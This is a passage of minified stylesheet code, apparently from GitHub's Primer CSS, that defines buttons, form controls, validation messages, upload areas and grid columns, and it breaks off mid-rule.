.octicon{color:var(--color-primer-fg-disabled)}.btn-primary{color:var(--color-btn-primary-text);background-color:var(--color-btn-primary-bg);border-color:var(--color-btn-primary-border);box-shadow:var(--color-btn-primary-shadow),var(--color-btn-primary-inset-shadow)}.btn-primary:hover,.btn-primary.hover,[open]>.btn-primary{background-color:var(--color-btn-primary-hover-bg);border-color:var(--color-btn-primary-hover-border)}.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-primary:active,.btn-primary.selected,.btn-primary[aria-selected=true]{background-color:var(--color-btn-primary-selected-bg);box-shadow:var(--color-btn-primary-selected-shadow)}.btn-primary:disabled,.btn-primary.disabled,.btn-primary[aria-disabled=true]{color:var(--color-btn-primary-disabled-text);background-color:var(--color-btn-primary-disabled-bg);border-color:var(--color-btn-primary-disabled-border)}.btn-primary:disabled .octicon,.btn-primary.disabled .octicon,.btn-primary[aria-disabled=true] .octicon{color:var(--color-btn-primary-disabled-text)}.btn-primary .Counter{color:inherit;background-color:var(--color-btn-primary-counter-bg)}.btn-primary .octicon{color:var(--color-btn-primary-icon)}a.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}a.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}a.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline{color:var(--color-btn-outline-text)}.btn-outline:hover,[open]>.btn-outline{color:var(--color-btn-outline-hover-text);background-color:var(--color-btn-outline-hover-bg);border-color:var(--color-btn-outline-hover-border);box-shadow:var(--color-btn-outline-hover-shadow),var(--color-btn-outline-hover-inset-shadow)}.btn-outline:hover .Counter,[open]>.btn-outline .Counter{background-color:var(--color-btn-outline-hover-counter-bg)}.btn-outline:hover .octicon,[open]>.btn-outline .octicon{color:inherit}.btn-outline:active,.btn-outline.selected,.btn-outline[aria-selected=true]{color:var(--color-btn-outline-selected-text);background-color:var(--color-btn-outline-selected-bg);border-color:var(--color-btn-outline-selected-border);box-shadow:var(--color-btn-outline-selected-shadow)}.btn-outline:active:focus,.btn-outline.selected:focus,.btn-outline[aria-selected=true]:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline:active:focus:not(:focus-visible),.btn-outline.selected:focus:not(:focus-visible),.btn-outline[aria-selected=true]:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.btn-outline:active:focus-visible,.btn-outline.selected:focus-visible,.btn-outline[aria-selected=true]:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.btn-outline:disabled,.btn-outline.disabled,.btn-outline[aria-disabled=true]{color:var(--color-btn-outline-disabled-text);background-color:var(--color-btn-outline-disabled-bg);border-color:var(--color-btn-border);box-shadow:none}.btn-outline:disabled .Counter,.btn-outline.disabled .Counter,.btn-outline[aria-disabled=true] .Counter{background-color:var(--color-btn-outline-disabled-counter-bg)}.btn-outline .Counter{color:inherit;background-color:var(--color-btn-outline-counter-bg)}.btn-danger{color:var(--color-btn-danger-text)}.btn-danger .octicon{color:var(--color-btn-danger-icon)}.btn-danger:hover,[open]>.btn-danger{color:var(--color-btn-danger-hover-text);background-color:var(--color-btn-danger-hover-bg);border-color:var(--color-btn-danger-hover-border);box-shadow:var(--color-btn-danger-hover-shadow),var(--color-btn-danger-hover-inset-shadow)}.btn-danger:hover .Counter,[open]>.btn-danger .Counter{background-color:var(--color-btn-danger-hover-counter-bg)}.btn-danger:hover .octicon,[open]>.btn-danger .octicon{color:var(--color-btn-danger-hover-icon)}.btn-danger:active,.btn-danger.selected,.btn-danger[aria-selected=true]{color:var(--color-btn-danger-selected-text);background-color:var(--color-btn-danger-selected-bg);border-color:var(--color-btn-danger-selected-border);box-shadow:var(--color-btn-danger-selected-shadow)}.btn-danger:disabled,.btn-danger.disabled,.btn-danger[aria-disabled=true]{color:var(--color-btn-danger-disabled-text);background-color:var(--color-btn-danger-disabled-bg);border-color:var(--color-btn-border);box-shadow:none}.btn-danger:disabled .Counter,.btn-danger.disabled .Counter,.btn-danger[aria-disabled=true] .Counter{background-color:var(--color-btn-danger-disabled-counter-bg)}.btn-danger:disabled .octicon,.btn-danger.disabled .octicon,.btn-danger[aria-disabled=true] .octicon{color:var(--color-btn-danger-disabled-text)}.btn-danger .Counter{color:inherit;background-color:var(--color-btn-danger-counter-bg)}.btn-sm{padding:3px 12px;font-size:12px;line-height:20px}.btn-sm .octicon{vertical-align:text-top}.btn-large{padding:.75em 1.5em;font-size:inherit;line-height:1.5;border-radius:.5em}.btn-block{display:block;width:100%;text-align:center}.BtnGroup{display:inline-block;vertical-align:middle}.BtnGroup::before{display:table;content:""}.BtnGroup::after{display:table;clear:both;content:""}.BtnGroup+.BtnGroup,.BtnGroup+.btn{margin-left:4px}.BtnGroup-item{position:relative;float:left;border-right-width:0;border-radius:0}.BtnGroup-item:first-child{border-top-left-radius:6px;border-bottom-left-radius:6px}.BtnGroup-item:last-child{border-right-width:1px;border-top-right-radius:6px;border-bottom-right-radius:6px}.BtnGroup-item.selected,.BtnGroup-item[aria-selected=true],.BtnGroup-item:focus,.BtnGroup-item:active,.BtnGroup-item:hover{border-right-width:1px}.BtnGroup-item.selected+.BtnGroup-item,.BtnGroup-item.selected+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item[aria-selected=true]+.BtnGroup-item,.BtnGroup-item[aria-selected=true]+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:focus+.BtnGroup-item,.BtnGroup-item:focus+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:active+.BtnGroup-item,.BtnGroup-item:active+.BtnGroup-parent .BtnGroup-item,.BtnGroup-item:hover+.BtnGroup-item,.BtnGroup-item:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:0}.BtnGroup-parent{float:left}.BtnGroup-parent:first-child .BtnGroup-item{border-top-left-radius:6px;border-bottom-left-radius:6px}.BtnGroup-parent:last-child .BtnGroup-item{border-right-width:1px;border-top-right-radius:6px;border-bottom-right-radius:6px}.BtnGroup-parent .BtnGroup-item{border-right-width:0;border-radius:0}.BtnGroup-parent.selected .BtnGroup-item,.BtnGroup-parent[aria-selected=true] .BtnGroup-item,.BtnGroup-parent:focus .BtnGroup-item,.BtnGroup-parent:active .BtnGroup-item,.BtnGroup-parent:hover .BtnGroup-item{border-right-width:1px}.BtnGroup-parent.selected+.BtnGroup-item,.BtnGroup-parent.selected+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent[aria-selected=true]+.BtnGroup-item,.BtnGroup-parent[aria-selected=true]+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:focus+.BtnGroup-item,.BtnGroup-parent:focus+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:active+.BtnGroup-item,.BtnGroup-parent:active+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:hover+.BtnGroup-item,.BtnGroup-parent:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:0}.BtnGroup-item:focus,.BtnGroup-item:active,.BtnGroup-parent:focus,.BtnGroup-parent:active{z-index:1}.btn-link{display:inline-block;padding:0;font-size:inherit;color:var(--color-accent-fg);text-decoration:none;white-space:nowrap;cursor:pointer;-webkit-user-select:none;user-select:none;background-color:transparent;border:0;-webkit-appearance:none;appearance:none}.btn-link:hover{text-decoration:underline}.btn-link:disabled,.btn-link:disabled:hover,.btn-link[aria-disabled=true],.btn-link[aria-disabled=true]:hover{color:var(--color-primer-fg-disabled);cursor:default}.btn-link:not(.dropdown-item):focus,.btn-link:not(.dropdown-item):focus-visible{border-radius:6px;outline-offset:0}.btn-invisible{color:var(--color-accent-fg);background-color:transparent;border:0;border-radius:6px;box-shadow:none}.btn-invisible:hover,.btn-invisible.zeroclipboard-is-hover{color:var(--color-accent-fg);background-color:var(--color-btn-hover-bg);outline:none;box-shadow:none}.btn-invisible:active,.btn-invisible.selected,.btn-invisible[aria-selected=true],.btn-invisible.zeroclipboard-is-active{color:var(--color-accent-fg);background:none;border-color:var(--color-btn-active-border);outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.btn-invisible:active .btn-invisible.zeroclipboard-is-active{background-color:var(--color-btn-selected-bg)}.btn-invisible:disabled,.btn-invisible.disabled,.btn-invisible[aria-disabled=true]{color:var(--color-primer-fg-disabled);background-color:transparent}.btn-octicon{display:inline-block;padding:5px;margin-left:5px;line-height:1;color:var(--color-fg-muted);vertical-align:middle;background:transparent;border:0;box-shadow:none}.btn-octicon:hover{color:var(--color-accent-fg)}.btn-octicon:focus,.btn-octicon:focus-visible{border-radius:6px}.btn-octicon.disabled,.btn-octicon[aria-disabled=true]{color:var(--color-primer-fg-disabled);cursor:default}.btn-octicon.disabled:hover,.btn-octicon[aria-disabled=true]:hover{color:var(--color-primer-fg-disabled)}.btn-octicon-danger:hover{color:var(--color-danger-fg)}.close-button{padding:0;color:var(--color-fg-muted);background:transparent;border:0}.close-button:hover{color:var(--color-fg-default)}.close-button:active{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.hidden-text-expander{display:block}.hidden-text-expander.inline{position:relative;top:-1px;display:inline-block;margin-left:5px;line-height:0}.hidden-text-expander a,.ellipsis-expander{display:inline-block;height:12px;padding:0 5px 5px;font-size:12px;font-weight:600;line-height:6px;color:var(--color-fg-default);text-decoration:none;vertical-align:middle;background:var(--color-neutral-muted);border:0;border-radius:1px}.hidden-text-expander a:hover,.ellipsis-expander:hover{text-decoration:none;background-color:var(--color-accent-muted)}.hidden-text-expander a:active,.ellipsis-expander:active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.btn-with-count{float:left;border-top-right-radius:0;border-bottom-right-radius:0}.btn-with-count:focus{z-index:1}.social-count{position:relative;float:left;padding:3px 12px;font-size:12px;font-weight:600;line-height:20px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-default);border:1px solid var(--color-btn-border);border-left:0;border-top-right-radius:6px;border-bottom-right-radius:6px;box-shadow:var(--color-shadow-small),var(--color-primer-shadow-highlight)}.social-count:hover,.social-count:active{text-decoration:none}.social-count:hover{color:var(--color-accent-fg);cursor:pointer}.TableObject{display:table}.TableObject-item{display:table-cell;width:1%;white-space:nowrap;vertical-align:middle}.TableObject-item--primary{width:99%}fieldset{padding:0;margin:0;border:0}label{font-weight:600}.form-control,.form-select{padding:5px 12px;font-size:14px;line-height:20px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-default);background-repeat:no-repeat;background-position:right 8px center;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-primer-shadow-inset);transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.form-control:focus,.form-select:focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.form-control:focus:not(:focus-visible),.form-select:focus:not(:focus-visible){border-color:transparent;border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px transparent}.form-control:focus-visible,.form-select:focus-visible{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.form-control.border-0:focus,.form-control.border-0:focus-visible,.form-select.border-0:focus,.form-select.border-0:focus-visible{border:1px solid var(--color-accent-fg) !important}.form-control[disabled],.form-select[disabled]{color:var(--color-primer-fg-disabled);background-color:var(--color-input-disabled-bg);border-color:var(--color-border-default);-webkit-text-fill-color:var(--color-primer-fg-disabled);opacity:1}.form-control[disabled]::placeholder,.form-select[disabled]::placeholder{color:var(--color-primer-fg-disabled)}@supports(-webkit-touch-callout: none){.form-control,.form-select{font-size:16px}@media(min-width: 768px){.form-control,.form-select{font-size:14px}}}textarea.form-control{padding-top:8px;padding-bottom:8px;line-height:1.5}.input-contrast{background-color:var(--color-canvas-inset)}.input-contrast:focus{background-color:var(--color-canvas-default)}::placeholder{color:var(--color-fg-subtle);opacity:1}.input-sm{min-height:28px;padding-top:3px;padding-bottom:3px;font-size:12px;line-height:20px}.input-lg{font-size:16px}.input-block{display:block;width:100%}.input-monospace{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace}.input-hide-webkit-autofill::-webkit-contacts-auto-fill-button{position:absolute;right:0;display:none !important;pointer-events:none;visibility:hidden}.form-checkbox{padding-left:20px;margin:15px 0;vertical-align:middle}.form-checkbox label em.highlight{position:relative;left:-4px;padding:2px 4px;font-style:normal;background:var(--color-attention-subtle);border-radius:6px}.form-checkbox input[type=checkbox],.form-checkbox input[type=radio]{float:left;margin:5px 0 0 -20px;vertical-align:middle}.form-checkbox .note{display:block;margin:0;font-size:12px;font-weight:400;color:var(--color-fg-muted)}.form-checkbox-details{display:none}.form-checkbox-details-trigger:checked~* .form-checkbox-details,.form-checkbox-details-trigger:checked~.form-checkbox-details{display:block}.hfields{margin:15px 0}.hfields::before{display:table;content:""}.hfields::after{display:table;clear:both;content:""}.hfields .form-group{float:left;margin:0 30px 0 0}.hfields .form-group dt label,.hfields .form-group .form-group-header label{display:inline-block;margin:5px 0 0;color:var(--color-fg-muted)}.hfields .form-group dt img,.hfields .form-group .form-group-header img{position:relative;top:-2px}.hfields .btn{float:left;margin:28px 25px 0 -20px}.hfields .form-select{margin-top:5px}input::-webkit-outer-spin-button,input::-webkit-inner-spin-button{margin:0;-webkit-appearance:none;appearance:none}.form-actions::before{display:table;content:""}.form-actions::after{display:table;clear:both;content:""}.form-actions .btn{float:right}.form-actions .btn+.btn{margin-right:5px}.form-warning{padding:8px 10px;margin:10px 0;font-size:14px;color:var(--color-attention-fg);background:var(--color-attention-subtle);border:1px solid var(--color-attention-emphasis);border-radius:6px}.form-warning p{margin:0;line-height:1.5}.form-warning a{font-weight:600}.form-select{display:inline-block;max-width:100%;height:32px;padding-right:24px;background-color:var(--color-canvas-default);background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzU4NjA2OSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=");background-repeat:no-repeat;background-position:right 4px center;background-size:16px;-webkit-appearance:none;appearance:none}.form-select::-ms-expand{opacity:0}.form-select[multiple]{height:auto}[data-color-mode=light][data-light-theme*=dark] .form-select,[data-color-mode=dark][data-dark-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}}.select-sm{height:28px;padding-top:3px;padding-bottom:3px;font-size:12px}.select-sm[multiple]{height:auto;min-height:0}.form-group{margin:15px 0}.form-group .form-control.autocomplete-embedded-icon-wrap:focus-within{background-color:var(--color-canvas-default)}.form-group .form-control{width:440px;max-width:100%;margin-right:5px;background-color:var(--color-canvas-inset)}.form-group .form-control:focus{background-color:var(--color-canvas-default)}.form-group .form-control.shorter{width:130px}.form-group .form-control.short{width:250px}.form-group .form-control.input-block,.form-group .form-control.long{width:100%}.form-group textarea.form-control{width:100%;height:200px;min-height:200px}.form-group textarea.form-control.short{height:50px;min-height:50px}.form-group dt,.form-group .form-group-header{margin:0 0 6px}.form-group label{position:relative}.form-group.flattened dt,.form-group.flattened .form-group-header{float:left;margin:0;line-height:32px}.form-group.flattened dd,.form-group.flattened .form-group-body{line-height:32px}.form-group dd h4,.form-group .form-group-body h4{margin:4px 0 0}.form-group dd h4.is-error,.form-group .form-group-body h4.is-error{color:var(--color-danger-fg)}.form-group dd h4.is-success,.form-group .form-group-body h4.is-success{color:var(--color-success-fg)}.form-group dd h4+.note,.form-group .form-group-body h4+.note{margin-top:0}.form-group.required dt label::after,.form-group.required .form-group-header label::after{padding-left:5px;color:var(--color-danger-fg);content:"*"}.form-group .success,.form-group .error,.form-group .indicator{display:none;font-size:12px;font-weight:600}.form-group.loading{opacity:.5}.form-group.loading .indicator{display:inline}.form-group.loading .spinner{display:inline-block;vertical-align:middle}.form-group.successful .success{display:inline;color:var(--color-success-fg)}.form-group.successed .success,.form-group.successed .warning,.form-group.successed .error,.form-group.warn .success,.form-group.warn .warning,.form-group.warn .error,.form-group.errored .success,.form-group.errored .warning,.form-group.errored .error{position:absolute;z-index:10;display:block;max-width:450px;padding:4px 8px;margin:8px 0 0;font-size:12px;font-weight:400;border-style:solid;border-width:1px;border-radius:6px}.form-group.successed .success::after,.form-group.successed .success::before,.form-group.successed .warning::after,.form-group.successed .warning::before,.form-group.successed .error::after,.form-group.successed .error::before,.form-group.warn .success::after,.form-group.warn .success::before,.form-group.warn .warning::after,.form-group.warn .warning::before,.form-group.warn .error::after,.form-group.warn .error::before,.form-group.errored .success::after,.form-group.errored .success::before,.form-group.errored .warning::after,.form-group.errored .warning::before,.form-group.errored .error::after,.form-group.errored .error::before{position:absolute;bottom:100%;left:10px;z-index:15;width:0;height:0;pointer-events:none;content:" ";border:solid transparent}.form-group.successed .success::after,.form-group.successed .warning::after,.form-group.successed .error::after,.form-group.warn .success::after,.form-group.warn .warning::after,.form-group.warn .error::after,.form-group.errored .success::after,.form-group.errored .warning::after,.form-group.errored .error::after{border-width:5px}.form-group.successed .success::before,.form-group.successed .warning::before,.form-group.successed .error::before,.form-group.warn .success::before,.form-group.warn .warning::before,.form-group.warn .error::before,.form-group.errored .success::before,.form-group.errored .warning::before,.form-group.errored .error::before{margin-left:-1px;border-width:6px}.form-group.successed .success{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle));border-color:var(--color-success-muted)}.form-group.successed .success::after{border-bottom-color:var(--color-success-subtle)}.form-group.successed .success::before{border-bottom-color:var(--color-success-muted)}.form-group.warn .form-control:not(:focus,:focus-visible){border-color:var(--color-attention-emphasis)}.form-group.warn .warning{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle));border-color:var(--color-attention-muted)}.form-group.warn .warning::after{border-bottom-color:var(--color-attention-subtle)}.form-group.warn .warning::before{border-bottom-color:var(--color-attention-muted)}.form-group.errored .form-control:not(:focus,:focus-visible){border-color:var(--color-danger-emphasis)}.form-group.errored label{color:var(--color-danger-fg)}.form-group.errored .error{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-danger-subtle), var(--color-danger-subtle));border-color:var(--color-danger-muted)}.form-group.errored .error::after{border-bottom-color:var(--color-danger-subtle)}.form-group.errored .error::before{border-bottom-color:var(--color-danger-muted)}.note{min-height:17px;margin:4px 0 2px;font-size:12px;color:var(--color-fg-muted)}.note .spinner{margin-right:3px;vertical-align:middle}dl.form-group>dd .form-control.is-autocheck-loading,dl.form-group>dd .form-control.is-autocheck-successful,dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-errored{padding-right:30px}dl.form-group>dd .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-16px.gif")}dl.form-group>dd .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-successful{background-image:url("/images/modules/ajax/success.png")}dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-errored{background-image:url("/images/modules/ajax/error.png")}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){dl.form-group>dd .form-control.is-autocheck-loading,dl.form-group>dd .form-control.is-autocheck-successful,dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-errored{background-size:16px 16px}dl.form-group>dd .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-32.gif")}dl.form-group>dd .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-successful{background-image:url("/images/modules/ajax/success@2x.png")}dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-errored{background-image:url("/images/modules/ajax/error@2x.png")}}.status-indicator{display:inline-block;width:16px;height:16px;margin-left:5px}.status-indicator .octicon{display:none}.status-indicator-success::before{content:""}.status-indicator-success .octicon-check{display:inline-block;color:var(--color-success-fg);fill:var(--color-success-fg)}.status-indicator-success .octicon-x{display:none}.status-indicator-failed::before{content:""}.status-indicator-failed .octicon-check{display:none}.status-indicator-failed .octicon-x{display:inline-block;color:var(--color-danger-fg);fill:var(--color-danger-fg)}.status-indicator-loading{width:16px;background-image:url("/images/spinners/octocat-spinner-32-EAF2F5.gif");background-repeat:no-repeat;background-position:0 0;background-size:16px}.inline-form{display:inline-block}.inline-form .btn-plain{background-color:transparent;border:0}.drag-and-drop{padding:7px 10px;margin:0;font-size:13px;line-height:16px;color:var(--color-fg-muted);background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-top:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.drag-and-drop .default,.drag-and-drop .loading,.drag-and-drop .error{display:none}.drag-and-drop .error{color:var(--color-danger-fg)}.drag-and-drop img{vertical-align:top}.is-default .drag-and-drop .default{display:inline-block}.is-uploading .drag-and-drop .loading{display:inline-block}.is-bad-file .drag-and-drop .bad-file{display:inline-block}.is-duplicate-filename .drag-and-drop .duplicate-filename{display:inline-block}.is-too-big .drag-and-drop .too-big{display:inline-block}.is-hidden-file .drag-and-drop .hidden-file{display:inline-block}.is-empty .drag-and-drop .empty{display:inline-block}.is-bad-permissions .drag-and-drop .bad-permissions{display:inline-block}.is-repository-required .drag-and-drop .repository-required{display:inline-block}.drag-and-drop-error-info{font-weight:400;color:var(--color-fg-muted)}.drag-and-drop-error-info a{color:var(--color-accent-fg)}.is-failed .drag-and-drop .failed-request{display:inline-block}.manual-file-chooser{position:absolute;width:240px;padding:5px;margin-left:-80px;cursor:pointer;opacity:.0001}.manual-file-chooser:hover+.manual-file-chooser-text{text-decoration:underline}.btn .manual-file-chooser{top:0;padding:0;line-height:34px}.upload-enabled textarea{display:block;border-bottom:1px dashed var(--color-border-default);border-bottom-right-radius:0;border-bottom-left-radius:0}.upload-enabled.focused{border-color:var(--color-accent-fg);border-radius:6px;outline:none;box-shadow:0 0 0 2px var(--color-accent-fg)}.upload-enabled.focused .form-control{border-color:transparent;border-bottom-color:var(--color-accent-fg);box-shadow:none}.upload-enabled.focused .drag-and-drop{border-color:transparent}.dragover textarea,.dragover .drag-and-drop{box-shadow:#c9ff00 0 0 3px}.write-content{position:relative}.previewable-comment-form{position:relative}.previewable-comment-form .tabnav{position:relative;padding:8px 8px 0}.previewable-comment-form .comment{border:1px solid var(--color-border-default)}.previewable-comment-form .comment-form-error{margin-bottom:8px}.previewable-comment-form .write-content,.previewable-comment-form .preview-content{display:none;margin:0 8px 8px}.previewable-comment-form.write-selected .write-content,.previewable-comment-form.preview-selected .preview-content{display:block}.previewable-comment-form textarea{display:block;width:100%;min-height:100px;max-height:500px;padding:8px;resize:vertical}.form-action-spacious{margin-top:10px}div.composer{margin-top:0;border:0}.composer .comment-form-textarea{height:200px;min-height:200px}.composer .tabnav{margin:0 0 10px}h2.account{margin:15px 0 0;font-size:18px;font-weight:400;color:var(--color-fg-muted)}p.explain{position:relative;font-size:12px;color:var(--color-fg-muted)}p.explain strong{color:var(--color-fg-default)}p.explain .octicon{margin-right:5px;color:var(--color-fg-muted)}p.explain .minibutton{top:-4px;float:right}.form-group label{position:static}.input-group{display:table}.input-group .form-control{position:relative;width:100%}.input-group .form-control:focus{z-index:2}.input-group .form-control+.btn{margin-left:0}.input-group.inline{display:inline-table}.input-group:focus-within button{outline-offset:0}.input-group .form-control.autocomplete-embedded-icon-wrap{display:inline-flex;padding:5px 8px}.input-group .form-control,.input-group-button{display:table-cell}.input-group-button{width:1%;vertical-align:middle}.input-group-button--autocomplete-embedded-icon{vertical-align:bottom}.input-group .form-control:first-child,.input-group-button:first-child .btn{border-top-right-radius:0;border-bottom-right-radius:0}.input-group-button:first-child .btn{margin-right:-1px}.input-group .form-control:last-child,.input-group-button:last-child .btn{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-button:last-child .btn{margin-left:-1px}.radio-group::before{display:table;content:""}.radio-group::after{display:table;clear:both;content:""}.radio-label{float:left;padding:6px 16px 6px 36px;margin-left:-1px;font-size:14px;line-height:20px;color:var(--color-fg-default);cursor:pointer;border:1px solid var(--color-border-default)}:checked+.radio-label{position:relative;z-index:1;border-color:var(--color-accent-emphasis)}.radio-label:first-of-type{margin-left:0;border-top-left-radius:6px;border-bottom-left-radius:6px}.radio-label:last-of-type{border-top-right-radius:6px;border-bottom-right-radius:6px}.radio-label .octicon{margin-left:4px;color:var(--color-fg-subtle)}.radio-input{z-index:3;float:left;margin:10px -32px 0 16px}.radio-input:disabled{position:relative}.radio-input:disabled+.radio-label{color:var(--color-primer-fg-disabled);cursor:default;background-color:var(--color-neutral-subtle)}.radio-input:disabled+.radio-label .octicon{color:inherit}.container-sm{max-width:544px;margin-right:auto;margin-left:auto}.container-md{max-width:768px;margin-right:auto;margin-left:auto}.container-lg{max-width:1012px;margin-right:auto;margin-left:auto}.container-xl{max-width:1280px;margin-right:auto;margin-left:auto}.col-1{width:8.33333333%}.col-2{width:16.66666666%}.col-3{width:24.99999999%}.col-4{width:33.33333332%}.col-5{width:41.66666665%}.col-6{width:49.99999998%}.col-7{width:58.33333331%}.col-8{width:66.66666664%}.col-9{width:74.99999997%}.col-10{width:83.3333333%}.col-11{width:91.66666663%}.col-12{width:100%}@media(min-width: 